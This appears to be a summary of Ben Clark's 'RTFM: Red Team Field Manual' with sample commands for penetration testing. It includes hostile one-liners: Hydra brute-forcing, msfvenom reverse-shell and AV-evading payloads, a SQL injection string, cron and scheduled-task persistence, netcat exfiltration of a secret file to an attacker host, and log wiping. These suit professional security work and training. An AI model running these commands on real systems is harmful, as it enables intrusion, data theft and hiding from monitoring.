“RTFM: Red Team Field Manual” by Ben Clark is a concise, practical guide that serves as a reference for individuals engaged in offensive cybersecurity operations. It is designed to provide Red Team operators with quick, actionable commands and techniques that can be used during penetration testing and other cybersecurity engagements. This summary covers the key points of the book, along with specific actions a person can take based on the advice provided.

The book starts by explaining its purpose and structure, emphasizing that it is a no-nonsense, quick-reference manual designed to be used in the field. Unlike traditional books, it is organized into multiple sections based on common tasks performed during penetration testing.

Actionable Tip:
– Carry the manual during engagements: Due to its concise nature, professionals should keep this manual handy during assessments for quick command lookups and reminders.

The book provides a comprehensive set of commands for various operating systems, including Windows, Linux, and Unix systems. For example, it lists commands to check system uptime, current user information, and network configurations.

Example Command:
– Windows: systeminfo – Provides details about the system’s configuration, OS, and hardware properties.
– Linux: uname -a – Displays all system information, including kernel version and system architecture.

Actionable Tip:
– Use system commands to gather preliminary reconnaissance: Before executing more complex attacks, use these commands to gather initial data about the target environment.

Networking commands cover a vast array of actions. These include commands for port scanning, banner grabbing, and manipulating network interfaces.

Example Command:
– nmap: nmap -sS -p 1-65535 <target> – Conducts a stealth scan on all TCP ports on the target host.

Actionable Tip:
– Perform comprehensive port scans: Utilize nmap for detailed scanning to identify services and potential points of entry into the network.

The book provides guidelines for performing password attacks, including brute force attacks and dictionary attacks. It outlines specific tools like Hydra and John the Ripper.

Example Command:
– Hydra: hydra -l admin -P /path/to/wordlist.txt <target> http-form-post "/login.php:user=admin&pass=^PASS^:S=302"

Actionable Tip:
– Test weak login mechanisms: Use tools like Hydra to attempt password brute-forcing, targeting common administrative interfaces and using known password lists.

Privilege escalation is critical in establishing deeper access within a compromised system. The book includes methods such as exploiting misconfigured services and utilizing kernel exploits.

Example Command:
– Windows: whoami /priv – Lists the privileges of the current user.
– Linux: sudo -l – Lists the allowed (and forbidden) commands for the invoking user in Linux.

Actionable Tip:
– Identify and exploit privilege vulnerabilities: Regularly check user permissions and look for ways to escalate privileges to gain administrative access.

The manual details how to create and leverage different types of payloads. It includes examples using Metasploit and custom scripts to compromise target machines.

Example Command:
– Metasploit: msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<port> -f exe -o payload.exe

Actionable Tip:
– Generate and deliver payloads efficiently: Craft payloads suitable for different environments (e.g., Windows vs. Linux) and ensure they are compatible with the target’s architecture.

Several commands are provided for web application attacks, including SQL injection, cross-site scripting (XSS), and command injection vulnerabilities.

Example Command:
– SQL Injection: http://<target>/index.php?id=1' OR '1'='1

Actionable Tip:
– Test for common web vulnerabilities: Regularly perform assessments on web applications to identify and exploit vulnerabilities like SQL injection or XSS.

Post-exploitation techniques involve the steps taken after a successful compromise. This includes establishing persistence, data exfiltration, and lateral movement within the network.

Example Command:
– Windows: schtasks /create /sc daily /tn "MyTask" /tr "C:\Windows\System32\cmd.exe /c task.bat" /st 09:00
– Linux: crontab -e and enter @reboot /path/to/script.sh

Actionable Tip:
– Establish persistence mechanisms: Use scheduled tasks or cron jobs to maintain access to compromised systems.

The book discusses methods to exfiltrate sensitive data from compromised networks securely and efficiently.

Example Command:
– Netcat: nc -w 3 <attacker_ip> <port> < secret_data.txt

Actionable Tip:
– Securely transfer data out of the target environment: Set up encrypted channels using tools like Netcat or SSH to avoid detection during data exfiltration.

Red Team operators often need to automate tasks using scripts. The manual includes basic scripting techniques and examples in languages such as Bash and PowerShell.

Example Script:
– Bash:
bash
#!/bin/bash
for ip in $(seq 1 254); do
ping -c 1 192.168.1.$ip | grep "64 bytes" &
done

Actionable Tip:
– Automate repetitive tasks: Write and execute scripts to automate scanning, exploitation, and data collection processes, saving valuable time during engagements.

This section provides techniques for managing and evading logging mechanisms on target systems.

Example Command:
– Windows: wevtutil clear-log application
– Linux: echo '' > /var/log/auth.log

Actionable Tip:
– Clear logs to avoid detection: Regularly clear or alter logs on compromised systems to prevent detection by security monitoring systems.

The book details ways to bypass various security tools, including Anti-Virus (AV) and intrusion detection systems (IDS).

Example Command:
– Obfuscation with Metasploit: msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<port> -e x86/shikata_ga_nai -i 10 -f exe -o evasion.exe

Actionable Tip:
– Employ obfuscation and encryption: Use techniques like payload encoding and encryption to bypass AV and IDS measures.

“RTFM: Red Team Field Manual” by Ben Clark is an essential resource for any cybersecurity professional involved in penetration testing or Red Team operations. Its practical, command-focused approach ensures that users have immediate access to the information they need to perform various offensive tasks. Utilizing the commands and techniques outlined in the book allows operators to efficiently gather information, exploit vulnerabilities, maintain access, exfiltrate data, and evade detection, ultimately enhancing the effectiveness and stealth of their engagements.